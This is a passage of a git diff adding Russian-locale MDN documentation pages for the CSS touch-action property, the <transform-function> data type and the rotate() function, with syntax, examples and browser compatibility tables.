+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] В Internet Explorer до версии 7.0, когда оба свойства <code>top</code> и {{cssxref("bottom")}} определены, позиция элемента ограничена и свойство <code>top</code> имеет приоритет: вычисленное значение <code>bottom</code> устанавливается как <code>-top</code>, в то время как заданное для него значение игнорируется.</p>
diff --git a/files/ru/web/css/touch-action/index.html b/files/ru/web/css/touch-action/index.html
new file mode 100644
index 0000000000..b8b0c38033
--- /dev/null
+++ b/files/ru/web/css/touch-action/index.html
@@ -0,0 +1,232 @@
+---
+title: touch-action
+slug: Web/CSS/touch-action
+translation_of: Web/CSS/touch-action
+---
+<div>{{CSSRef}}</div>
+
+<p>Css-свойство touch-action указывает как элемент будет управляться через тачскрин (например, при помощи возможности приближения (zooming), встроенной в браузер).</p>
+
+<pre class="brush:css no-line-numbers notranslate">/* Keyword values */
+touch-action: auto;
+touch-action: none;
+touch-action: pan-x;
+touch-action: pan-left;
+touch-action: pan-right;
+touch-action: pan-y;
+touch-action: pan-up;
+touch-action: pan-down;
+touch-action: pinch-zoom;
+touch-action: manipulation;
+
+/* Global values */
+touch-action: inherit;
+touch-action: initial;
+touch-action: unset;
+</pre>
+
+<p>По умолчанию, жесты панорамирование, прокрутка и сужающий обрабатываются исключительно браузером. Приложение, использующие  {{domxref("Pointer_events", "Pointer events", "", 1)}} получит событие {{domxref("HTMLElement/pointercancel_event", "pointercancel")}}, когда браузер начнет обрабатывать тач жест. Явно указывая жесты обрабатываемые браузером, приложение может иметь свое поведение для оставшихся жестов благодаря прослушиванию событий  {{domxref("HTMLElement/pointermove_event", "pointermove")}} и {{domxref("HTMLElement/pointerup_event", "pointerup")}}. Applications using {{domxref("Touch_events", "Touch events", "", 1)}} disable the browser handling of gestures by calling {{domxref("Event.preventDefault","preventDefault()")}}, but should also use <code>touch-action</code> to ensure the browser knows the intent of the application before any event listeners have been invoked.</p>
+
+<p>When a gesture is started, the browser intersects the <strong>touch-action</strong> values of the touched element and all its ancestors up to the one that implements the gesture (in other words, the first containing scrolling element). This means that in practice, <strong>touch-action</strong> is typically applied only to individual elements which have some custom behavior, without needing to specify <strong>touch-action</strong> explicitly on any of that element's descendants. After a gesture has started, changes to <strong>touch-action</strong> values will not have any impact on the behavior of the current gesture.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>The <code>touch-action</code> property may be specified as either:</p>
+
+<ul>
+ <li>any one of the keywords <code><a href="#auto">auto</a></code>, <code><a href="#none">none</a></code>, <code><a href="#manipulation">manipulation</a></code>, <em>or</em></li>
+ <li>one of the keywords <code><a href="#pan-x">pan-x</a></code>, <code><a href="#pan-keywords">pan-left</a></code>, <code><a href="#pan-keywords">pan-right</a></code>, and/or one of the keywords <code><a href="#pan-y">pan-y</a></code>, <code><a href="#pan-keywords">pan-up</a></code>, <code><a href="#pan-keywords">pan-down</a></code>, plus optionally the keyword <code><a href="#">pinch-zoom</a></code>.</li>
+</ul>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><a id="auto" name="auto"><code>auto</code></a></dt>
+ <dd>Enable browser handling of all panning and zooming gestures.</dd>
+ <dt><a id="none" name="none"><code>none</code></a></dt>
+ <dd>Disable browser handling of all panning and zooming gestures.</dd>
+ <dt><a id="pan-x" name="pan-x"><code>pan-x</code></a></dt>
+ <dd>Enable single-finger horizontal panning gestures. May be combined with <strong>pan-y, pan-up,</strong> <strong>pan-down </strong>and/or <strong>pinch-zoom</strong>.</dd>
+ <dt><a id="pan-y" name="pan-y"><code>pan-y</code></a></dt>
+ <dd>Enable single-finger vertical panning gestures. May be combined with <strong>pan-x, pan-left, </strong><strong>pan-right</strong> and/or <strong>pinch-zoom</strong>.</dd>
+ <dt><a id="manipulation" name="manipulation"><code>manipulation</code></a></dt>
+ <dd>Enable panning and pinch zoom gestures, but disable additional non-standard gestures such as double-tap to zoom. Disabling double-tap to zoom removes the need for browsers to delay the generation of <strong>click</strong> events when the user taps the screen. This is an alias for "<strong>pan-x pan-y pinch-zoom</strong>" (which, for compatibility, is itself still valid).</dd>
+</dl>
+
+<dl>
+ <dt><a id="pan-keywords" name="pan-keywords"><code>pan-left</code>, <code>pan-right,pan-up,pan-down</code> {{experimental_inline}}</a></dt>
+ <dd>Enable single-finger gestures that begin by scrolling in the given direction(s). Once scrolling has started, the direction may still be reversed. Note that scrolling "up" (<strong>pan-up</strong>) means that the user is dragging their finger downward on the screen surface, and likewise <strong>pan-left</strong> means the user is dragging their finger to the right. Multiple directions may be combined except when there is a simpler representation (for example, <strong>"</strong><strong>pan-left pan-right</strong>" is invalid since "<strong>pan-x</strong>" is simpler, but "<strong>pan-left pan-down</strong>" is valid).</dd>
+ <dt><a id="pinch-zoom" name="pinch-zoom"><code>pinch-zoom</code></a></dt>
+ <dd>Enable multi-finger panning and zooming of the page. This may be combined with any of the <strong>pan-</strong> values.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The most common usage is to disable all gestures on an element (and its non-scrollable descendants) that provides its own dragging and zooming behavior – such as a map or game surface. </p>
+
+<pre class="brush: css notranslate">#map {
+  touch-action: none;
+}
+</pre>
+
+<p>Another common pattern is that of an image carousel which uses pointer events to handle horizontal panning, but doesn't want to interfere with vertical scrolling or zooming of the document.</p>
+
+<pre class="brush: css notranslate">.image-carousel {
+  width: 100%;
+  height: 150px;
+  touch-action: pan-y pinch-zoom;
+}
+</pre>
+
+<p><strong>touch-action </strong>is also often used to completely disable the delay of <strong>click </strong>events caused by support for the<strong> </strong>double-tap to zoom gesture.</p>
+
+<pre class="brush: css notranslate">html {
+  touch-action: manipulation;
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compat', '#touch-action', 'touch-action')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Added <code>pinch-zoom</code> property value.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events 2', '#the-touch-action-css-property', 'touch-action')}}</td>
+   <td>{{Spec2('Pointer Events 2')}}</td>
+   <td>Added <code>pan-left</code>, <code>pan-right</code>, <code>pan-up</code>, <code>pan-down</code> property values.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events', '#the-touch-action-css-property', 'touch-action')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(36.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("52.0")}}<sup>[1]</sup></td>
+   <td>10.0{{property_prefix("-ms")}}<sup>[2]</sup><br>
+    11.0</td>
+   <td>{{CompatOpera(23)}}</td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+  </tr>
+  <tr>
+   <td><code>pan-up</code>, <code>pan-down</code>, <code>pan-left</code>, <code>pan-right</code></td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[5]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+  </tr>
+  <tr>
+   <td><code>pinch-zoom</code></td>
+   <td>{{CompatChrome(56.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}<sup>[5]</sup></td>
+   <td>10.0{{property_prefix("-ms")}}<sup>[2]</sup><br>
+    11.0</td>
+   <td>{{CompatOpera(43)}}</td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(36.0)}}</td>
+   <td>{{CompatChrome(36.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("52.0")}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.1 [3]</td>
+  </tr>
+  <tr>
+   <td><code>pan-up</code>, <code>pan-down</code>, <code>pan-left</code>, <code>pan-right</code></td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[5]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(42)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>pinch-zoom</code></td>
+   <td>{{CompatChrome(56.0)}}</td>
+   <td>{{CompatChrome(56.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}<sup>[5]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(43)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] This property (Level 1 keywords only) is implemented since Firefox 29, but is hidden behind the <code>layout.css.touch_action.enabled</code> preference. Starting in Firefox Nightly 50, it is enabled by default when running in nightly builds only. It is currently on track to be released in Firefox 52, see {{bug(1244402)}}.</p>
+
+<p>[2] IE10+ additionally supports the non-standard values <a href="https://msdn.microsoft.com/zh-cn/library/windows/apps/hh767313.aspx">pinch-zoom, double-tap-zoom, cross-slide-x and cross-slide-y</a>.</p>
+
+<p>[3] <a href="https://bugs.webkit.org/show_bug.cgi?id=149854">Only supports the manipulation and auto values in iOS</a>.</p>
+
+<p>[4] See {{webkitbug("133112")}}.</p>
+
+<p>[5] See {{bug(1285685)}}.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Pointer_events","Pointer Events")}}</li>
+ <li>WebKit Blog <a href="https://webkit.org/blog/5610/more-responsive-tapping-on-ios/" rel="bookmark" title="Permanent Link: More Responsive Tapping on iOS">More Responsive Tapping on iOS</a></li>
+</ul>
diff --git a/files/ru/web/css/transform-function/index.html b/files/ru/web/css/transform-function/index.html
new file mode 100644
index 0000000000..ac2d219b1f
--- /dev/null
+++ b/files/ru/web/css/transform-function/index.html
@@ -0,0 +1,207 @@
+---
+title: <transform-function>
+slug: Web/CSS/transform-function
+tags:
+  - CSS
+  - CSS Data Type
+  - CSS Transforms
+  - Layout
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/CSS/transform-function
+---
+<div>{{CSSRef}}</div>
+
+<p>The <strong><code>&lt;transform-function&gt;</code></strong> CSS data type denotes a function used to modify an element's appearance. A transform can usually be expressed by matrices, with the result determined by using matrix multiplication on each point.</p>
+
+<h2 id="Coordinates_for_2D_graphics">Coordinates for 2D graphics</h2>
+
+<p>Various coordinate models can be used to describe any transformation. The most common are the Cartesian coordinate system and homogeneous coordinates.</p>
+
+<h3 id="Cartesian_coordinates">Cartesian coordinates</h3>
+
+<p><a href="/@api/deki/files/5796/=coord_in_R2.png"><img src="/files/3438/coord_in_R2.png" style="float: right; width: 171px;"></a></p>
+
+<p>In the <a class="external" href="https://en.wikipedia.org/wiki/Cartesian_coordinate_system">Cartesian coordinate system</a> each point of <a class="external" href="https://en.wikipedia.org/wiki/Euclidean_geometry">Euclidian space</a> is described using two values: the <em>abscissa</em> and the <em>ordinate</em>. In CSS (and most computer graphics), the origin <code>(0, 0)</code> is the top-left corner of any element. Each point is mathematically described using the vector notation <code>(x, y)</code>.</p>
+
+<p>Each linear function is described using a 2x2 matrix like:</p>
+
+<div style="text-align: center;">
+<p><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd></mtr> <mtr><mtd>b</mtd><mtd>d</mtd></mtr> </mtable> </mfenced> </math></p>
+</div>
+
+<p>By using matrix multiplication with the linear function and each point in question, a transformation is created:</p>
+
+<div style="text-align: center;"><a href="/@api/deki/files/5799/=transform_functions_generic_transformation_cart.png"><img src="/@api/deki/files/5799/=transform_functions_generic_transformation_cart.png?size=webview" style="height: 32px; width: 189px;"></a>.</div>
+
+<p>Note that it is possible to apply several transformations in a row:</p>
+
+<div style="text-align: center;"><a href="/@api/deki/files/5800/=transform_functions_transform_composition_cart.png"><img src="/@api/deki/files/5800/=transform_functions_transform_composition_cart.png?size=webview" style="height: 32px; width: 313px;"></a>.</div>
+
+<div style="text-align: center;"> </div>
+
+<p>With this notation, it is possible to describe, and therefore composite, most common transformations: rotations, scaling, or skewing. In fact, all transformations that are linear functions can be described. Composite transforms are effectively applied in order from right to left. However, one major transformation is not linear and therefore must be special-cased when using this notation: translation. The translation vector <code>(tx, ty)</code> must be expressed separately, as two additional parameters.</p>
+
+<p><a class="external" href="https://en.wikipedia.org/wiki/August_Ferdinand_M%C3%B6bius">Möbius</a>' <a class="external" href="https://en.wikipedia.org/wiki/Homogeneous_coordinates">homogeneous coordinates</a> in <a class="external" href="https://en.wikipedia.org/wiki/Projective_geometry">projective geometry</a> leading to 3x3 transformation matrices, though more complex and unusual for non-specialists, doesn't suffer from the translation limitation as these can be expressed as linear functions in this algebra, removing the need for special cases.</p>
+
+<h2 id="Functions_defining_transformations">Functions defining transformations</h2>
+
+<p>Several functions are available to describe transformations in CSS. Each one applies a geometric operation, in 2D or 3D:</p>
+
+<dl>
+ <dt>{{cssxref("transform-function/matrix","matrix()")}}</dt>
+ <dd>The <code>matrix()</code> CSS function specifies a homogeneous 2D transformation matrix comprised of the specified six values. The constant values of such matrices are implied and not passed as parameters; the other parameters are described in the column-major order.</dd>
+ <dd><code>matrix(a, b, c, d, tx, ty)</code> is a shorthand for <code>matrix3d(a, b, 0, 0, c, d, 0, 0, 0, 0, 1, 0, tx, ty, 0, 1)</code>.</dd>
+ <dt>{{cssxref("transform-function/matrix3d","matrix3d()")}}</dt>
+ <dd>The <code>matrix3d()</code> CSS function describes a 3D transform as a 4x4 homogeneous matrix. The 16 parameters are described in the column-major order.</dd>
+ <dt>{{cssxref("transform-function/perspective","perspective()")}}</dt>
+ <dd>The <code>perspective()</code> CSS function defines the distance between the z=0 plane and the user in order to give to the 3D-positioned element some perspective. Each 3D element with z&gt;0 becomes larger; each 3D-element with z&lt;0 becomes smaller. The strength of the effect is determined by the value of this property.</dd>
+ <dt>{{cssxref("transform-function/rotate","rotate()")}}</dt>
+ <dd>The <code>rotate()</code> CSS function defines a transformation that moves the element around a fixed point (as specified by the {{ Cssxref("transform-origin") }} property) without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise. A rotation by 180° is called <em>point reflection</em>.</dd>
+ <dt>{{cssxref("transform-function/rotate3d","rotate3d()")}}</dt>
+ <dd>The <code>rotate3d()</code> CSS function defines a transformation that moves the element around a fixed axis without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise.In opposition to rotations in the plane, the composition of 3D rotations is usually not commutative; it means that the order in which the rotations are applied is crucial.</dd>
+ <dt>{{cssxref("transform-function/rotateX","rotateX()")}}</dt>
+ <dd>The <code>rotateX()</code> CSS function defines a transformation that moves the element around the abscissa without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise. The axis of rotation passes by the origin, defined by {{ cssxref("transform-origin") }} CSS property.</dd>
+ <dd><code>rotateX(a)</code>is a shorthand for <code>rotate3D(1, 0, 0, a)</code>.</dd>
+ <dt>{{cssxref("transform-function/rotateY","rotateY()")}}</dt>
+ <dd>The <code>rotateY()</code> CSS function defines a transformation that moves the element around the ordinate without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise. The axis of rotation passes by the origin, defined by {{ cssxref("transform-origin") }} CSS property.</dd>
+ <dd><code>rotateY(a)</code>is a shorthand for <code>rotate3D(0, 1, 0, a)</code>.</dd>
+ <dt>{{cssxref("transform-function/rotateZ","rotateZ()")}}</dt>
+ <dd>The <code>rotateZ()</code> CSS function defines a transformation that moves the element around the z-axis without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise. The axis of rotation passes by the origin, defined by {{ cssxref("transform-origin") }} CSS property.</dd>
+ <dd><code>rotateZ(a)</code>is a shorthand for <code>rotate3D(0, 0, 1, a)</code>.</dd>
+ <dt>{{cssxref("transform-function/scale","scale()")}}</dt>
+ <dd>The <code>scale()</code> CSS function modifies the size of the element. It can either augment or decrease its size and as the amount of scaling is defined by a vector, it can do so more in one direction than in another one. This transformation is characterized by a vector whose coordinates define how much scaling is done in each direction. If both coordinates of the vector are equal, the scaling is uniform, or isotropic, and the shape of the element is preserved. In that case, the scaling function defines a homothetic transformation.</dd>
+ <dt>{{cssxref("transform-function/scale3d","scale3d()")}}</dt>
+ <dd>The <code>scale3d()</code> CSS function modifies the size of an element. Because the amount of scaling is defined by a vector, it can resize different dimensions at different scales. This transformation is characterized by a vector whose coordinates define how much scaling is done in each direction. If all three coordinates of the vector are equal, the scaling is uniform, or isotropic, and the shape of the element is preserved. In that case, the scaling function defines a homothetic transformation.</dd>
+ <dt>{{cssxref("transform-function/scaleX","scaleX()")}}</dt>
+ <dd>The <code>scaleX()</code> CSS function modifies the abscissa of each element point by a constant factor, except if this scale factor is <code>1</code>, in which case the function is the identity transform. The scaling is not isotropic and the angles of the element are not conserved. <code>scaleX(-1)</code> defines an <a class="external" href="https://en.wikipedia.org/wiki/Axial_symmetry">axial symmetry</a> with a vertical axis passing by the origin (as specified by the {{cssxref("transform-origin")}} property).</dd>
+ <dd><code>scaleX(sx)</code> is a shorthand for <code>scale(sx, 1)</code> or for <code>scale3d(sx, 1, 1)</code>.</dd>
+ <dt>{{cssxref("transform-function/scaleY","scaleY()")}}</dt>
+ <dd>The <code>scaleY()</code> CSS function modifies the ordinate of each element point by a constant factor except if this scale factor is <code>1</code>, in which case the function is the identity transform. The scaling is not isotropic and the angles of the element are not conserved. <code>scaleY(-1)</code> defines an <a class="external" href="https://en.wikipedia.org/wiki/Axial_symmetry">axial symmetry</a> with a horizontal axis passing by the origin (as specified by the {{cssxref("transform-origin")}} property).</dd>
+ <dd><code>scaleY(sy)</code> is a shorthand for <code>scale(1, sy)</code> or for <code>scale3d(1, sy, 1)</code>.</dd>
+ <dt>{{cssxref("transform-function/scaleZ","scaleZ()")}}</dt>
+ <dd>The <code>scaleZ()</code> CSS function modifies the z-coordinate of each element point by a constant factor, except if this scale factor is <code>1</code>, in which case the function is the identity transform. The scaling is not isotropic and the angles of the element are not conserved. <code>scaleZ(-1)</code> defines an <a class="external" href="https://en.wikipedia.org/wiki/Axial_symmetry">axial symmetry</a> along the z-axis passing by the origin (as specified by the {{cssxref("transform-origin")}} property).</dd>
+ <dd><code>scaleZ(sz)</code> is a shorthand for <code>scale3d(1, 1, sz)</code>.</dd>
+ <dt>{{cssxref("transform-function/skew","skew()")}}</dt>
+ <dd>The <code>skew()</code> CSS function is a shear mapping, or transvection, distorting each point of an element by a certain angle in each direction. It is done by increasing each coordinate by a value proportionate to the specified angle and to the distance to the origin. The more far from the origin, the more away the point is, the greater will be the value added to it.</dd>
+ <dt>{{cssxref("transform-function/skewX","skewX()")}}</dt>
+ <dd>The <code>skewX()</code> CSS function is a horizontal shear mapping distorting each point of an element by a certain angle in the horizontal direction. It is done by increasing the abscissa coordinate by a value proportionate to the specified angle and to the distance to the origin. The more far from the origin, the more away the point is, the greater will be the value added to it.</dd>
+ <dt>{{cssxref("transform-function/skewY","skewY()")}}</dt>
+ <dd>The <code>skewY()</code> CSS function is a vertical shear mapping distorting each point of an element by a certain angle in the vertical direction. It is done by increasing the ordinate coordinate by a value proportionate to the specified angle and to the distance to the origin. The more far from the origin, the more away the point is, the greater will be the value added to it.</dd>
+ <dt>{{cssxref("transform-function/translate","translate()")}}</dt>
+ <dd>The <code>translate()</code> CSS function moves the position of the element on the plane. This transformation is characterized by a vector whose coordinates define how much it moves in each direction.</dd>
+ <dt>{{cssxref("transform-function/translate3d","translate3d()")}}</dt>
+ <dd>The <code>translate3d()</code> CSS function moves the position of the element in the 3D space. This transformation is characterized by a 3-dimension vector whose coordinates define how much it moves in each direction.</dd>
+ <dt>{{cssxref("transform-function/translateX","translateX()")}}</dt>
+ <dd>The <code>translateX()</code> CSS function moves the element horizontally on the plane. This transformation is characterized by a {{cssxref("&lt;length&gt;")}} defining how much it moves horizontally.</dd>
+ <dd><code>translateX(tx)</code> is a shorthand for <code>translate(tx, 0)</code>.</dd>
+ <dt>{{cssxref("transform-function/translateY","translateY()")}}</dt>
+ <dd>The <code>translateY()</code> CSS function moves the element vertically on the plane. This transformation is characterized by a {{cssxref("&lt;length&gt;")}} defining how much it moves vertically.</dd>
+ <dd><code>translateY(ty)</code> is a shorthand for <code>translate(0, ty)</code>.</dd>
+ <dt>{{cssxref("transform-function/translateZ","translateZ()")}}</dt>
+ <dd>The <code>translateZ()</code> CSS function moves the element along the z-axis of the 3D space. This transformation is characterized by a {{cssxref("&lt;length&gt;")}} defining how much it moves.</dd>
+ <dd><code>translateZ(tz)</code> is a shorthand for <code>translate3d(0, 0, tz)</code>.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms', '#transform-property', 'transform')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}<sup>[1]</sup></td>
+   <td>9.0<sup>[2]</sup></td>
+   <td>10.5</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td>3D Support</td>
+   <td>12.0</td>
+   <td>{{CompatGeckoDesktop("10.0")}}</td>
+   <td>10.0</td>
+   <td>15.0</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatAndroid(2.1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>11.5</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td>3D Support</td>
+   <td>{{CompatAndroid(3.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>22</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko 14.0 removed the experimental support for <code>skew()</code>, but it was reintroduced in Gecko 15.0 for compatibility reasons. As it is non-standard and will likely be removed in the future, do not use it.</p>
+
+<p>Before Firefox 16, the translation values of <code>matrix()</code> and <code>matrix3d()</code> could be {{cssxref("length")}} in addition to the standard {{cssxref("number")}}.</p>
+
+<p>[2] Internet Explorer 5.5 or later supports a proprietary <a href="http://msdn.microsoft.com/en-us/library/ms533014%28VS.85,loband%29.aspx">Matrix Filter</a> which can be used to achieve a similar effect.</p>
+
+<p>Internet Explorer 9.0 or earlier has no support for 3D transforms. Mixing 3D and 2D transform functions, such as <code>-ms-transform: rotate(10deg) translateZ(0);</code>, will prevent the entire property from being applied.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>CSS {{cssxref("transform")}} property</li>
+</ul>
diff --git a/files/ru/web/css/transform-function/rotate()/index.html b/files/ru/web/css/transform-function/rotate()/index.html
new file mode 100644
index 0000000000..71d94f55e7
--- /dev/null
+++ b/files/ru/web/css/transform-function/rotate()/index.html
@@ -0,0 +1,154 @@
+---
+title: rotate()
+slug: Web/CSS/transform-function/rotate()
+tags:
+  - CSS
+  - CSS трансформация
+  - CSS функция
+  - Reference
+  - Rotate
+  - transform
+translation_of: Web/CSS/transform-function/rotate()
+---
+<div>{{CSSRef}}</div>
+
+<p>Функция CSS rotate () определяет преобразование, которое перемещает элемент вокруг неподвижной точки (как определено свойством {{Cssxref ("transform-origin")}}, не деформируя его. Количество движения определяется заданным углом; если положительно, движение будет по часовой стрелке, если оно отрицательное, оно будет против часовой стрелки. Вращение на 180 ° называется <em>точечным отражением</em>.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/12113/rotate.png" style="height: 175px; width: 258px;"></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">rotate(<em>a</em>)
+</pre>
+
+<h2 id="Значения">Значения</h2>
+
+<dl>
+ <dt><em>a</em></dt>
+ <dd>Является {{ cssxref("&lt;angle&gt;") }}, представляющим угол поворота. Положительный угол обозначает вращение по часовой стрелке, а отрицательный - против часовой стрелки.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Декартовы координаты на ℝ<sup>2</sup></th>
+   <th scope="col">Однородные координаты на ℝℙ<sup>2</sup></th>
+   <th scope="col">Декартовы координаты наℝ<sup>3</sup></th>
+   <th scope="col">Однородные координаты наℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd></mtr> <mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd></mtr></mtable></mfenced></math></td>
+   <td><math> <mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[cos(a) sin(a) -sin(a) cos(a) 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Базовый_пример">Базовый пример</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Normal&lt;/div&gt;
+&lt;div class="rotated"&gt;Rotated&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  width: 80px;
+  height: 80px;
+  background-color: skyblue;
+}
+
+.rotated {
+  transform: rotate(45deg); /* Equal to rotateZ(45deg) */
+  background-color: pink;
+}</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Базовый_пример", "auto", 180)}}</p>
+
